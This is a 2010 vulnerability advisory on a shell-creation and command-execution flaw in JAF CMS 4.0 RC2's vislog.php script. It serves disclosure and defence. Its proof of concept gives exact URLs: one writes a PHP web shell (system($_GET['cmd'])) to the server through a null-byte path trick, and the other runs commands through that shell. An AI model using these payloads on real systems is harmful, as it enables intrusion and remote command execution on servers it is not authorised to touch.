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Shell create & command execution in JAF CMS
From: advisory () htbridge ch
Date: Thu, 4 Nov 2010 10:57:41 +0100 (CET)

Vulnerability ID: HTB22665
Reference: http://www.htbridge.ch/advisory/shell_create__command_execution_in_jaf_cms.html
Product: JAF CMS
Vendor: JAF CMS ( http://jaf-cms.sourceforge.net/ ) 
Vulnerable Version: 4.0 RC2
Vendor Notification: 21 October 2010 
Vulnerability Type: Shell create & command execution
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/module/log/vislog.php" script to properly sanitize user-supplied 
input, it's possible to create/read any file.

The following PoC is available:

creating shell:

http://[host]/module/log/vislog.php?_SERVER[%27PHP_SELF%27]=1&from=%3c%3f+system(%24_GET%5b%27cmd%27%5d)%3b+%3f%3e&root=../../123.php%00


command execute:

http://[host]/123.php?cmd=ls 




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